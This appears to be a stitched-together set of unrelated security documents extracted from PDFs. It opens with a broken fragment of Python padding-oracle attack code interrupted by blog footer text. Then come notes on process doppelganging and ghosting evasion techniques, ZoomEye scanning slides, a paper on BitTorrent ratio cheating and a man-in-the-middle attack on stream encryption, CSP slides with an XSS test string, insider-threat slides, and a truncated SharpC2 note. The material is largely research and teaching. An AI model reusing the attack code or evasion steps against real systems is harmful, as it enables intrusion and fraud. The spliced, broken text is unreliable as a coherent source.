print("[-] Split Error!")
return False
result_dict = {}
result_dict["intermediary"] = ""
result_dict["plaintext"] = ""
# Attack block by block
for cipher_block in cipher_blocks:
# Get This Block Intermediary and Plaintext
block_dict = oracle_block(cipher_block, block_size, next_iv, SMKEY, CIPHER)
# Add Block Result
result_dict["intermediary"] += block_dict["intermediary"]
result_dict["plaintext"] += block_dict["plaintext"]
# Set IV to next cipher_block
next_iv = cipher_block
return result_dict
def str_xor(x, y):
x_len = len(x)
y_len = len(y)
if x_len != y_len:
print("[-] str_xor Length Error!")
return False
# type(bytearray[i]) is int
z = ""
for i in range(0, x_len):
z += chr(ord(x[i]) ^ y[i])
return z
def oracle_encrypt(WPSTRING, cipher_bytes, block_size, SMKEY, CIPHER):
# String to ByteArray
plaintext = bytearray(WPSTRING, "utf-8")
# Make Padding
plaintext = padding_pkcs(plaintext, block_size)
# Split plaintext by block_size and Reverse
plaintext_blocks = split_block(plaintext, block_size)
plaintext_blocks.reverse()
# Split cipher_bytes by block_size
cipher_blocks = split_block(cipher_bytes, block_size)
cipher_blocks_num = len(cipher_blocks)
# Get the Last One Block
payload = cipher_blocks[-1]
prev_block_bytes = cipher_blocks[-1]
for plaintext_block in plaintext_blocks:
# Get the block_intermediary
block_dict = oracle_block(prev_block_bytes, block_size, "", SMKEY, CIPHER)
# Get the Cipher Block
prev_block_bytes = str_xor(block_dict["intermediary"], plaintext_block).encode("lat
payload = prev_block_bytes + payload
return payload
def main():
# Origin Plaintext
OPSTRING = "abcdefghabcdefghxxxxxx"
# Want Plaintext
WPSTRING = "aaaaaaaaaaaaaaaa\r\n\tzzz"
CIPHER = "AES"
# CIPHER = "ARC2"
# CIPHER = "Blowfish"
# CIPHER = "CAST"
# CIPHER = "DES"
# CIPHER = "3DES"
# Intermediary Value
if CIPHER == "AES":
IV = b"1234567812345678"
else:
IV = b"12345678"
# Symmetric Key
if CIPHER != "DES":
SMKEY = b"~!@#$%^&*()_+`-="
else:
关于修复Hotcobalt的一些小想法
参考链接
Cipher block chaining (CBC)
Automated Padding Oracle Attacks With PadBuster
Padding Oracle Attack的一些细节与实现
#crypto #cbc
由 Hexo 强力驱动 | 主题 - Even
©2021 hosch3n
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
SMKEY = b"~!@#$%^&"
# AES Per-Block Size is 16
if CIPHER == "AES":
block_size = 16
else:
block_size = 8
# IV must same as block_size
if len(IV) != block_size:
return False
# CBC Encrypt
cipher_bytes = cbc_encrypt(OPSTRING, IV, SMKEY, CIPHER)
if cipher_bytes == False:
print("[-] Encrypt Error!")
return False
# Padding Oracle Decrypt
result_dict = oracle_decrypt(cipher_bytes, block_size, IV, SMKEY, CIPHER)
if result_dict == False:
print("[-] Attack Error!")
return False
print(result_dict)
# Configuring Payload in Local
payload = oracle_encrypt(WPSTRING, cipher_bytes, block_size, SMKEY, CIPHER)
print(payload)
# CBC Decrypt
# plain_bytes = cbc_decrypt(cipher_bytes, IV, SMKEY, CIPHER)
plain_bytes = cbc_decrypt(payload[block_size:], payload[:block_size], SMKEY, CIPHER)
print(plain_bytes)
if __name__ == "__main__":
main()
| pdf |
2017年,"Process Doppelganging", NTFS+section
https://github.com/hasherezade/process_doppelganging
https://www.youtube.com/watch?v=Cch8dvp836w
进程的创建不支持NTFS transacted文件,所以分割进程的步骤寻找创建方法
跟踪 CreateProcessW 调用 (xp)
NtOpenFile
NtCreateSection
NtCreateProcessEx
...
NtCreateThreadEx
在win10下,直接使用 NtCreateUserProcess 创建,看起来无法使用ntfs了,但是微软为了
兼容,也可以使用之前xp的创建进程的方法。
2018年
transacted_hollowing
https://github.com/hasherezade/transacted_hollowing
进程替换,只是利用了ntfs translation 和 file delete pending
2021年
Process Ghosting
https://github.com/hasherezade/process_ghosting
使用 delete pending file + Process Doppelganging的手法
NTFS Transactions
Delete Pending
逆向 DeleteFileW ,可以看到使用 NtOpenFile -> NtQueryInfomationFile -> NtClose
用NtOpenFile打开的文件只需要设置delete标志,使用
NtSetInformationFile(FileDispositionInformation) 设置文件为delete-pending
写入文件,因为文件状态是delete-pending,内容可以写入,但是其他外部文件读取会失败。
当关闭文件句柄时,文件也会被删除。 | pdf |
知道创宇404实验室发布
打造世界领先网络空间测绘能力
演讲人:
heige@0x557
[email protected]
2019
PART 01
Xmap 2.0 发布
目录
CONTENTS
PART 02
节点分析
PART 03
ZoomEye“50
0节点计划”
PART 04
IPv6 测绘
01
02
03
04
05
PART 05
ZoomEye全球
蜜罐识别
•
获取更多数据
•
赋予数据灵魂
两个关键
–heige
“探测资源及技术已经成为网络空间测绘的核心竞争力!”
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
PART.01
Xmap 2.0 发布
Xmap 2.0 发布
• Xmap是ZoomEye核心探测引擎(IP)
• IP探测引擎的疼点
a.
单一追求速度,而忽略了效果
b.
速度快意为着高并发,同时意味着高丢包
c.
扫描节点IP被拦截、拉黑
Xmap 2.0 发布
• 效果平均每月提升了6.4倍的数据量
• 一键部署安装,给500节点计划打下基础
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
PART.02
节点分析
Shodan节点分析
• Shodan 现有节点分析
a. 2019.03 fdns/rdns记录提取去重外网ip数:131个
b. 其中带”census”的记录提取去重外网ip数:77个
c. 集中分布在荷兰、法国、罗马尼亚、美国、冰岛等
• 从某些端口扫描行为推测Shodan可能存在通过某些代理池技术进行扫描
Censys节点分析
• Censys 现有节点分析
a. 2019.03 fdns/rdns记录提取去重外网ip数:406个
b. 其中带”worker”的记录提取去重外网ip数:304个
c. 主要集中在198.108.66.*/198.108.67.* [“美国","密歇根州","","","merit.edu"]
• 2019.03 从某些端口扫描行为分析发现活动ip数:86个
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
PART.03
ZoomEye“500节点计划”
ZoomEye“500节点计划”
•基于最新Xmap 2.0架构
• 目前部署约200个节点,将扩充到500个节点
• 节点分布广泛:美国,日本,新加坡,泰国,俄罗斯,印度等
–heige
“多维度的数据关联才能得到更丰满的数据灵魂”
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
PART.04
IPv6 测绘
IPv6 测绘
•域名 —> IPv4 — > 暗网 — > IPv6
•目前接近1亿的IPv6地址库,最近平均每周增加7万
•数据合作+自主爬虫
•探测引擎Xmap -IPv6版
a. 支持所有ZoomEye IPv4的端口协议
b. 平均每周增加约200w条数据(跟节点资源投入相关)
IPv6 测绘
IPv6 测绘
–heige
“蜜罐部署 vs 蜜罐识别—>网络空间测绘领域的主要对抗面”
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
PART.05
ZoomEye全球蜜罐识别
ZoomEye全球蜜罐识别
•网络空间(外网)蜜罐主要用来对抗僵尸网络、GPT、网络空间mass扫描等攻击,是威胁情报的主要
来源之一。
•随着攻防博弈白热化,蜜罐识别诊断成为必然。
•“蜜罐”也是一种“服务”或者说“应用”,一样存在自己的特定的banner数据体现,所以蜜罐是可
被识别。
ZoomEye全球蜜罐识别
ZoomEye全球蜜罐识别
•端口分布
ZoomEye全球蜜罐识别
•IDC分布
–heige
“ZoomEye关注一切网络空间测绘、IP 画像相关数据”
ZoomEye期待更多的合作
–heige
“黄婆卖瓜,也得用户夸!”
ZoomEye are totally comparable to Shodan
https://www.freebuf.com/articles/network/206656.html
致谢
演讲人:
heige@0x557
•
感谢那些曾经或现在参与ZoomEye、Seebug、
KCon相关的同事们!
•
感谢那些曾经或现在为知道创宇、知道创宇
404团队做出贡献的兄弟姐妹们!
•
感谢那种支持帮助我们的社区朋友们!
•
以你们的曾经或者现在的工作感到自豪! | pdf |
BitTorrent Protocol Abuses
Written by Michael Brooks and David Aslanian
Introduction
The BitTorrent protocol is now 7 years old. The protocol has become wildly successful in a very
short period of time, but with this success comes growing pains. The protocol originally
envisioned by Bram Cohen is fairly secure. Vulnerabilities have been introduced by people
trying to do things with the protocol that it was never meant to do. BitTorrent was never meant
to be an exclusive protocol; however private BitTorrent networks are increasing in popularity.
Most vulnerabilities can be identified by a Common Vulnerability and Exposure (CVE) number.
Currently there are 36,976 vulnerabilities classified by this systemi. Most CVE numbers fall into
specific categories and given a Common Weakness Enumeration (CWE) number. For instance,
all SQL Injection Vulnerabilities are classified by CWE-89.
In the current BitTorrent Specification there are three CWE violations.
Immortal Sessions
All private BitTorrent communities are vulnerable to CWE-384ii (Session fixation) which ranks
in at Number 7 of the OWASP top 10iii. All BitTorrent Clients authenticate with private trackers
using a session ID sent as a GET parameter. This value cannot be changed because there is no
system in the protocol to notify the BitTorrent client of a new Session ID.
One could exploit this vulnerability by sniffing the network for announce requests or .torrent
files. Another tried and true method is XSS in the web application. Due to this session fixation
vulnerability, SQL Injection in the tracker leads to immediate access without need to break a
password hash. Often immortal session Ids are a password hash, which is the case with many of
the private BitTorrent networks. Password hashes should always be kept secret. The hashing of
passwords is meant to be a last line of defense after the database has been compromised, but
many programmers don't understand this principle.
Client Side Trust
Another vulnerability that exists in every private network is CWE- 602 iv “Client-Side
Enforcement of Server-Side Security” otherwise known as Client Side Trust. With every
announce request the client is expected to report on how much they have uploaded, downloaded
and how much is remaining to download. Private BitTorrent networks use these announce
requests to enforce a share ratio. For instance some Private BitTorrent networks will impose a
50% ratio, in which you must upload ½ as much as you download. The tools used to spoof this
information are well known. These simple tools send HTTP GET requests informing the tracker
that the client has uploaded data, when in fact little or no data has been uploaded by the
BitTorrent client. RatioMaster is an example of a spoof client. However some BitTorrent
communicates have been able to detect this method. One approach to detecting this type of
cheating by looking at a large jump in the amount of data transferred. Another approach would
be to identify clients that are uploading when no “leechers” are present.
A more difficult to detect method is if the BitTorrent client lies to the tracker saying that it hasn't
transferred any data. In addition the client never reports that the transfer as completed. From the
announce server's perspective the BitTorrent client is unable to contact other people in the
swarm, which could happen under legitimate conditions. The BitTorrent client used to
accomplish this is called StealthBomber. Modifications where to the original Python BitTorrent
5.2.2 client written by Bram Cohen to produce this client. The StealthBomber is open source
and can be download here: http://code.google.com/p/bittorrenthacks/
Man in the Middle Attack Against Message Stream Encryption
The 3rd vulnerability to affect BitTorrent falls under CWE – 300v (Channel Accessible by Non-
Endpoint) better known as a “Man in the Middle” attack. This is a vulnerability in the MSE
protocol used for BitTorrent encryption. This is not the first security problem discovered that
affects MSE. A company by the name of Ipoque is able to detect and throttle MSE traffic using
Deep Packet Inspection.vi Further more, a research paper titled Attacks on Message Stream
Encryptionvii goes over many problems with MSE. The biggest problem with this paper is that
many of the attacks discussed are highly theoretical and may not possible in the real world. To
make matters worse not source code has been provided to prove or otherwise verify any of the
attacks presented in the paper. The attack on MSE discussed in this paper was developed
without knowledge of the paper “Attacks on Message Stream Encryption”, and source code to
the following attack is public. viii
Threat profiling is the most important part of building a cryptographically secure protocol. The
engineer must be very clear on what he is trying to defend against and must use what is already
available. Good engineering is standing on the shoulders of giants. MSE on the other hand is re-
inventing the wheel. In fact some of the threats facing protocols like MSE where discussed in
the fundamental paper “New Directions In Cryptography“ written by Whitfield Diffie and Martin
E. Hellman in 1976.ix If the engineers that built MSE had read “New Directions In
Cryptography”, they probably would have built their protocol differently.
What is MSE's threat model?
The following quote is from the MSE specification on bittorrent.org.x
“The objective is NOT to create a cryptographically secure protocol that can survive unlimited
observation of passing packets and substantial computational resources on network timescales.
The objective is to raise the bar sufficiently to deter attacks based on observing ip-port numbers
in peer-to-tracker communications. ”
In the reference for the protocol its self they are saying that its insecure. It doesn't go out and say
it explicitly, but the whole reason why MSE was made was to fool ISPs’ traffic throttling ability.
Your ISP is a very powerful threat. You have to ask the ISP to use their wires and their routers to
access their network.
What are some of the problems with MSE?
MSE uses RC4, which is proven to be weak by the Fluhrer, Mantin and Shamir attack. This
attack is most notably used in cracking WEP. MSE is using RC4-drop 1024 in an effort to
improve RC4, but this isn’t a perfect fix. When AES is implemented properly, it is far more
secure than RC4 and that’s why AES is implemented in WPA2. Many of the other attacks
developed to speed up WEP cracking are not possible with MSE.
The real problem with MSE is how the RC4 keys are generated. Currently, MSE is using a
SHA1 hash to generate the RC4 key. The RC4 key is a 20 byte SHA1 hash. The key is base-256,
which is a full byte. Cryptographically secure keys should always be a full byte, and this is
similar to the string-to-key function outlined in RFC 2440xi. However, this is an unnecessary
calculation, a protocol with equivalent security could be built without ever having to make this
SHA1 calculation. Instead the key generation could rely on randomly generated numbers which
are cheaper to calculate. During a handshake each client must make two SHA1 hash calculations
which is a waste.
The SHA1 hash contains three elements. The first element is a static string “KeyA”. This would
make a prefixing attack against SHA1 much more difficult. The problem is that the attacker
shouldn't know the hash in the first place so generating a collision is out of the question. This is
probably a novice's mistake that just ends up wasting resources. The second element is a shared
secret derived from a Diffie-Hellman (DH) key exchange. DH key exchanges are very important
as they provide a shared secret. It all comes down to secrets and lies, this is the title of a great
book by Bruce Schneier. How do you keep a secret? How do you tell if someone is lying?
Modern cryptography has powerful tools to answer these two important questions.
DH key exchanges allow you to share a secret with someone. If the person lies about who they
are, then your secret is worthless. This is where Man In The Middle attacks come into play.
SSL/TLS also uses a DH key exchange; however, SSL/TLS is accompanied by a public-key and
often a Public Key Infrastructure (PKI) to verify identity.
This leads us to the third and final element of the RC4 key which is the “infohash” of the torrent.
The “infohash” is a SHA1 hash of the “info” sub-tree contained in the .torrent file. There are
three ways that this “infohash” can be leaked to a passive observer. The infohash is apart of
every announce and scrape request that the BitTorrent client sends to the BitTorrent tracker. This
is ideal from the attacker perspective because a scrape request must be sent prior to any MSE
connection. The “infohash” is also contained in the handshakes with other peers in the swarm.
Finally the “infohash” could be obtained by sniffing the transfer of the .torrent file.
MSE does have a specification for announce requests should use a SHA1 hash of the infohash.
There are a few problems with this. The biggest is that I can't find a single announce server that
supports this feature and thus it is never used. Also the double-SHA1 could be easily cracked if
the attacker had a database of all known infohashes. An ISP could build a very inclusive
database of known infohashes and their corresponding double-sha1 counter parts (a rainbow
table) by monitoring their entire network. Keeping such a widely used piece of information a
secret is not practical. Further more, no static string should ever be used for this type of identity
verification. There is a strong parallel between this use of the double-sha1 “infohash” and the
use of a password’s message digest as a session ID (which was discussed at the beginning of the
paper).
What is the problem with a static string, and what makes asymmetric cryptography so important?
A static string is like a password. In order to use a static string for authentication, it must first be
distributed. Securely transmitting the static string is difficult, and a successful attack would mean
that the secret could be reused by anyone indefinitely. In contrast, when a public key is used to
verify the authenticity of a signature, your private key remains a secret. Hence, this means of
authentication does not sacrifice your identity. That is to say, an attacker could not then use your
signature to claim to be you. Specifically in terms of MSE the static string can be guessed. In
the source code provided for MSE MITM, we make the assumption that we don’t know the exact
key used for an incoming connection. We are given cipher text, but we are missing the exact
“infohash” portion of the RC4 key. Within the MSE protocol 8 null bytes are used to verify that
the RC4 cipher-text stream has been decrypted properly, this is referred to a Verification Check
(VC). This check can be used against the protocol. We can loop though a list of probable keys,
when the 8 null bytes are decrypted present in the decrypted message we know we have the
correct “infohash” and we can complete the handshake.
Ideal Conditions for MSE.
So, what if the .torrent file was sent over a proper HTTPS connection? What if all peer
communication was also encrypted with MSE? What if the announce server was also over
HTTPS or supported MSE? What if the .torrent file was on a private network? If all these
conditions were met, then the attacker could not complete the RC4 key and therefore could not
act as Man In The Middle.
There are a number of problems with this scenario. First of all, there is nothing forcing the client
to use HTTPS. Nothing is forcing the Tracker to use MSE, and I can't find a single Tracker that
supports it! The cryptographic chain is broken. In fact, I suspect that every single BitTorrent
client is leaking the very secret that MSE relies on.
There is yet another problem; only two BitTorrent clients (Opera and uTorrent under Windows)
will verify HTTPS properly. At the time of this writing uTorrent under Wine doesn’t even
support https. Many BitTorrent clients don't even bother to verify the TLS certificate and
always assume it is valid. An advanced attack such as SSLStrip isn't required; dsniff is more than
enough to carry out this attack. Azurues/Vuze, which was the first to implement MSE does not
recognize any Certificate Authority as valid, which is just as bad. Unauthenticated HTTPS
carries the exact same Man In The Middle problem as MSE. HTTPS is similar to MSE, they are
both using a DH key exchange and HTTPS can also use RC4. Due to compatibility, no client by
default forces MSE, so the key is being leaked in handshakes to other peers in the swarm. Most
BitTorrent communication is done using public trackers such as ThePirateBay.org and thus all of
the infohashes are public knowledge.
MSE can defend against a specific attack, and that is NSA Signal Intelligence. To this date, the
vast majority of the spying being conducted on US Citizens has been passive. In this case, MSE
does quite well. I bet there is an NSA guy thinking to himself: “Yeah, I can break that tiny RC4
key with one command my big ass server farm.”
A Real Solution
So what is the solution to all of these problems? MSE should never have been built! Let me be
very clear, MSE was built by people who don’t fully understand the cryptographic systems they
are using. MSE is wasteful of resources and does not provide the type of protection that the
authors desired. In fact, the solution to traffic shaping and keeping your data a secret existed
long before BitTorrent. The answer is SSL, which is now called TLS. TLS is both efficient and
effective, two things that MSE is not.
TLS or Transport Layer Security is the solution and should have been used from the very
beginning. TLS is an encrypted tunnel for the OSI Layer 4 otherwise known as the Transport
Layer. This means that it doesn't matter what the Application Layer looks like, the traffic will
indistinguishable to the attacker. If BitTorrent used TLS then an ISP could not disrupt it without
affecting HTTPS and other TLS dependent protocols. To make BitTorrent disruption even more
difficult, clients can change their communication port to 443 or another port commonly used by
TLS. However, in more extreme cases such as Iran, encrypted communication is
indiscriminately blocked. xii An even more extreme solution is required to circumvent this
terrible practice.
A very important feature of TLS is that it supports the ability to resume handshakes. This makes
it so that only one TLS handshake is required per user in the swarm, even though the clients are
continuously connecting and disconnecting from each other. Resuming TLS handshakes is an
important part of FTP over TLS.xiii I suspect that the authors of MSE didn’t know of this
property of TLS, which could have been their motivation for reinventing the wheel.
Another important feature of TLS is that both the server and the client can verify each other’s
identity! This addresses the session fixation issue described earlier between the client and
tracker. BitTorrent clients could also authenticate other peers in the swarm. This is an effective
means of securing private BitTorrent networks. But who would be the Certificate Authority?
Verisign doesn't support piracy and their trust is expensive! Furthermore, I don't trust Verisign,
but we all are forced to. The best solution is that the BitTorrent tracker could also be a
Certificate Authority. If a member of the community is kicked out, their certificate could be
revoked immediately. OpenCA is free and simple to use, with minor modifications I believe it
could be an effective Certificate Authority for BitTorrent networks.
i http://cve.mitre.org/cve/ (Total CVEs given in the upper right)
ii http://cwe.mitre.org/data/definitions/384.html (Session Fixation)
iii http://www.owasp.org/index.php/Top_10_2007-A7 (Broken Authenticantion and Session Management)
iv http://cwe.mitre.org/data/definitions/602.html (Client-Side Enforcement of Server-Side Security)
v http://cwe.mitre.org/data/definitions/300.html (Man In the Middle)
vi http://www.prweb.com/releases/2007/04/prweb521773.htm (Improved Identification of Encrypted P2P Protocols)
vii http://www.tcs.hut.fi/Publications/bbrumley/nordsec08_brumley_valkonen.pdf (Attacks On Message Stream
Encryptoin)
viii http://code.google.com/p/bittorrenthacks/ Source Code for A MITM against MSE.
ix http://www.cs.rutgers.edu/~tdnguyen/classes/cs671/presentations/Arvind-NEWDIRS.pdf (New Directions in
Cryptography)
x http://www.bittorrent.org/beps/bep_0008.html
xi http://www.ietf.org/rfc/rfc2440.txt (OpenPGP Message Format)
xii http://asert.arbornetworks.com/2009/06/a-deeper-look-at-the-iranian-firewall
xiii http://en.wikipedia.org/wiki/Secure_Sockets_Layer#Resumed_TLS_handshake | pdf |
How to use CSP to
stop XSS
Ken Lee
Friday, August 2, 13
Who is this guy?
•
Product Security Engineer
at Etsy
•
Previously worked at a
financial software company
•
@kennysan
•
[email protected]
Friday, August 2, 13
What is CSP?
•
Content Security Policy
•
Browser-based XSS Defense
•
http://www.w3.org/TR/CSP/
Friday, August 2, 13
I throw this into the page’s template/html:
<script>alert('XSS')</script>
Friday, August 2, 13
How does it work?
•
By default, browsers obeying a CSP do not execute
javascript that is inline on the page
•
In addition, it disallows the eval and similar functions
like window.setTimeout
Friday, August 2, 13
Content-Security-Policy-Report-Only:default-src *; style-src * 'unsafe-inline';
script-src 'unsafe-inline' 'unsafe-eval' *.googleapis.com *.googleapis.com
*.pinterest.com *.etsystatic.com lognormal.net *.google.com *.google-analytics.com
*.etsystatic.com *.etsy.com *.etsysecure.com *.truste.com *.thinglink.me
*.thebrighttag.com *.facebook.net *.facebook.com *.thinglink.com *.tumblr.com
*.btstatic.com *.google-analytics.com *.twitter.com *.atdmt.com
*.googleadservices.com *.doubleclick.net *.flickr.com *.iesnare.com *.gstatic.com
nxtck.com *.akamaihd.net; report-uri /beacon/csp.php
A sample CSP
Friday, August 2, 13
CSP directives
•
connect-src
•
font-src
•
frame-src
•
img-src
•
media-src
•
object-src
•
style-src
•
none
•
self
•
unsafe-inline
•
unsafe-eval
Friday, August 2, 13
report-only mode
•
report-uri specifies URI to POST CSP issues
•
Doesn’t actually block content from loading
Friday, August 2, 13
CSP is still evolving...
Browsers are mostly CSP 1.0
compliant these days
Friday, August 2, 13
What about Inline JS?
•
CSP 1.0 says: create external scripts out of your inline js
•
Or you can have unsafe-inline as a directive
•
If you use require.js or any other async javascript
library, gl/hf;
•
CSP 1.1 to the rescue
•
...some day?
Friday, August 2, 13
http://www.etsy.com/listing/157723652/keep-calm-and-hold-my-beer-poster-117-x
Friday, August 2, 13
Rolling Out CSP
•
How should you approach deploying CSP?
•
Most sites have focused on deploying CSP to specific
functionality
•
Why does this make sense?
Friday, August 2, 13
Monitor All The Things!
Friday, August 2, 13
Mixed Content
•
Your CSP endpoint can help you detect instances of
mixed content
•
HSTS can help you kill a lot of it
•
...But usually the problem won’t be from your
subdomains
Friday, August 2, 13
Some Words...
•
Adding unsafe-inline and unsafe-eval basically defeats
CSP’s ability to stop XSS.
•
CSP can cause header sizes to grow very large!
•
Make sure you test your policy!
Friday, August 2, 13
•
Content-Security-Policy ~Firefox 23, Chrome 25.
•
Append Report-Only for “reporting mode”
•
Add a report-uri at the end to make the browser POST a
CSP violation there
•
Fix all the violations, CSP all the things
CSPTools
Friday, August 2, 13
CSPTools
•
Want to test out a Content Security Policy, but scared
to push your policy to prod?
•
You hate poisoning your hosts file every time you want
to test your CSP in your dev environment
•
You’ll love CSP Tools. I promise.
Friday, August 2, 13
CSPTools
•
Features 3 different set of tools
•
Proxy - Intercepts http, https traffic, inserts a csp
header, and logs csp reports
•
Browser - auto-browse sections of your site with the
proxy (can we say unit tests?)
•
Parser - Creates a csp policy based off proxy traffic
Friday, August 2, 13
DEMO
Friday, August 2, 13
DEMO
Friday, August 2, 13
Get It.
•
On Github: http://kennysan.github.io/CSPTools
•
Found bugs? Issue a pull request!
•
Hit me up on twitter! @Kennysan
•
Greetz to Kai Zhong for helping me with the pythons
Friday, August 2, 13 | pdf |
Protecting Against and
Investigating Insider Threats
A methodical, multi-pronged approach
to protecting your organization
Antonio A. Rucci
Program Director
Technical Intelligence and Security Programs
Global Initiatives Directorate
Oak Ridge National Laboratory
Oak Ridge, TN 37831
AGENDA
A methodical, multi-pronged approach
to protecting your organization
• Key indicators of an insider threat and how to detect
them
• Specific hiring practices to minimize your risk
• Security awareness training and education to thwart
opportunistic individuals
• Recent case studies that illustrate the key indicators and
how to protect against them
www.ornl.gov
AGENDA
A methodical, multi-pronged approach
to protecting your organization
• Key indicators of an insider threat and how to detect
them
• Specific hiring practices to minimize your risk
• Security awareness training and education to thwart
opportunistic individuals
• Recent case studies that illustrate the key indicators and
how to protect against them
Who Are The Insiders?
•
Employees
•
Former Employees
•
Contractors
•
Consultants
•
Suppliers
•
Visitors
•
Collaborators
• User facilities
• University faculty
• Industry
Pre-conditions
• Motive or need to be satisfied through the crime
• Ability to Overcome Inhibitions:
•
Moral values
•
Fear of being caught
•
Loyalty to employer or co-workers
•
Risk-Taking Behaviors
• Trigger that sets the betrayal in motion
• Opportunity to commit the crime
•
Poor and/or lax security practices
Motive
• Financial
• Anger
• Excitement
• Divided loyalties
• Arrogance
• The BIG 3:
- Greed
- Disgruntlement
- Revenge
• Moral Values
• Ethical Values
• Loyalty
• Fear
• Rationalization
Ability to Overcome
Inhibitions
Trigger
•
Personal or professional
event
•
Stress pushes individual to
the “breaking point”
•
React negatively, and
criminally
•
Emotionally stable/well
adjusted
•
React to stress in a positive
manner
At least 1/4 of American spies experienced a personal life crisis
in the months preceding an espionage attempt.
1. Proving that the Vendor’s Insider Threat Claims are Valid
2. Converging Insider Threat with Physical Security
3. Demanding ROI and ROSI for your Insider Threat Program
4. Converging IT Threat with IT Governance & Regulatory Compliance
5. Understanding that Insiders are People too
6. Leveraging Real-Time and Forensics Analysis to Pinpoint Insiders
7. Providing Intelligent, Insider-Aware Response Capabilities
8. Managing the Insider Threat
9. Detecting the Insider Threat
10.Insider Threats are Different than External Threats
Top 10 Insider Threats
USSS & Carnegie Mellon University
Survey Findings
•
Most insider events were triggered by a negative event in the workplace
•
Most perpetrators had prior disciplinary issues
•
Most insider events were planned in advance
•
Only 17% of the insider events studied involved individuals with root
access
•
87% of the attacks used very simple user commands that didn't require
any advanced knowledge
•
30% of the incidents took place at the insider’s home using remote
access to the organization's network
Developments in information technology
make it much harder to control the
distribution of information.
Items like these greatly increase opportunities for espionage and the
amount of damage that can be done by a single insider.
Developments in information technology
make it much harder to control the
distribution of information.
Items like these greatly increase opportunities for espionage and the
amount of damage that can be done by a single insider.
AGENDA
A methodical, multi-pronged approach
to protecting your organization
• Key indicators of an insider threat and how to detect
them
• Specific hiring practices to minimize your risk
• Security awareness training and education to thwart
opportunistic individuals
• Recent case studies that illustrate the key indicators and
how to protect against them
www.ornl.gov
5 Simple Measures to Protect Your
Organization from Insider Threats
1. Conduct Background Checks on all new employees
2. Monitor employee behavior
3. Restrict accounts that have remote access
4. Restrict the scope of remote access
5. Enforce the principle of “Least User Privilege”
Screen Your Personnel
• Initial Counterintelligence Screening &
Periodic Reviews
• Financial records check
• IRS disclosure
• Records checks
Contributing Factors
Behavioral & Suitability
Issues
Socio-Economic
Factors
Psychological
Factors
Technological
Trends
Behavioral Factors
& Suitability Issues
• Substance Abuse or Dependence
• Hostile, Vindictive, or Criminal Behavior
• Extreme, Persistent Interpersonal Difficulties
• Unreported Foreign Interaction
• Excessive Gambling / spending
• Internet presence… most will
“Most known American spies (80%) demonstrated one or more
conditions or behaviors of security concern” before they turned
to espionage.”
Defense Personnel Security Research Center (PERSEREC) Report 2002
Socio-Economic Factors
• Global Market is Expanding
• Increased Foreign Interaction
• Vulnerabilities (financial crisis)
• Organizational Loyalty is Diminishing
• Ethnic ties
• Moral Justification
Psychological Factors
The Narcissist:
•
Preoccupation with self
at expense of others
•
Grandiose sense of their
own importance
•
Exaggerate
accomplishments
•
Unjust victims of rivals
•
Sense of entitlement
The Sociopath:
•
Lack of conscience or
morals
•
Violates others rights to
serve own means
What Can You Do?
• Be alert
• Don’t be paranoid, but report concerns
• Be aware of espionage indicators
• Screen your personnel
• Assess your personal vulnerabilities
Rogue Warriors?
•
Appearing intoxicated at work
•
Sleeping at the desk
•
Unexplained, repeated absences on Monday or Friday
•
Actual or threatened use of force or violence
•
Pattern of disregard for rules and regulations
•
Spouse or child abuse or neglect
•
Attempts to enlist others in illegal or questionable activity
•
Drug abuse
•
Pattern of significant change from past behavior, especially relating to increased nervousness
or anxiety, unexplained depression, hyperactivity, decline in performance or work habits,
deterioration of personal hygiene, increased friction in relationships with co-workers,
isolating oneself by rejecting any social interaction
•
Expression of bizarre thoughts, perceptions, or expectations
•
Pattern of lying and deception of co-workers or supervisors
•
Talk of or attempt to harm oneself
•
Argumentative or insulting behavior toward work associates or family to the extent that this
has generated workplace discussion or has disrupted the workplace environment
•
Writing bad checks
•
Failure to make child support payments
•
Attempting to circumvent or defeat security or auditing systems, without prior authorization
from the system administrator, other than as part of a legitimate system testing or security
research
Regardless of the technology in place to
protect data, people still represent the
biggest threat
Alex Ryskin
AGENDA
A methodical, multi-pronged approach
to protecting your organization
• Key indicators of an insider threat and how to detect
them
• Specific hiring practices to minimize your risk
• Security awareness training and education to thwart
opportunistic individuals
• Recent case studies that illustrate the key indicators and
how to protect against them
www.ornl.gov
Take Advantage of
Training
Opportunities
Seek Out Training
Opportunities
Create Unique &
Innovative Training
Make Training Interesting
• Bring external experts
to your organization
• Make your training
relevant, interesting and
FUN!
• Case Studies are
excellent training
platforms
Relevant Reading
www.cicentre.com
AGENDA
A methodical, multi-pronged approach
to protecting your organization
• Key indicators of an insider threat and how to detect
them
• Specific hiring practices to minimize your risk
• Security awareness training and education to thwart
opportunistic individuals
• Recent case studies that illustrate the key indicators and
how to protect against them
www.ornl.gov
We need to build security into the core fabric, the DNA of the
computing world.
Howard Schmidt
Case Studies
We must inspire a commitment to security
rather than merely describing it.
Mich Kabay
Antonio A. Rucci
[email protected]
www.twitter.com/InsiderThreats
0100000101101100011011000010000001111001011011110111010101
1100100010000001100010011010010110111001100001011100100111
1001001000000110000101110010011001010010000001100010011001
0101101100011011110110111001100111001000000111010001101111
00100000011101010111001100100001
01010100 01101000 01100001
01101110 01101011 00100000
01011001 01101111 01110101
www.ornl.gov | pdf |
tips
分享下今晚看的小tips => SharpC2 Client端如何生成 stager的
(SharpC2最后一版是 experimental测试版 上不了线 哈哈哈这个我们后面再聊)
功能其实并不复杂,但是令我好奇的是如何生成powershell stager的,因为在我去年看SharpC2时还没
有这些东西,希望能够帮助一些想要学习写C2的伙伴。
1. 首先Client端 使用WPF MVVM模型,通过调试我们可以定位到 PayloadGenratorViewModel.cs
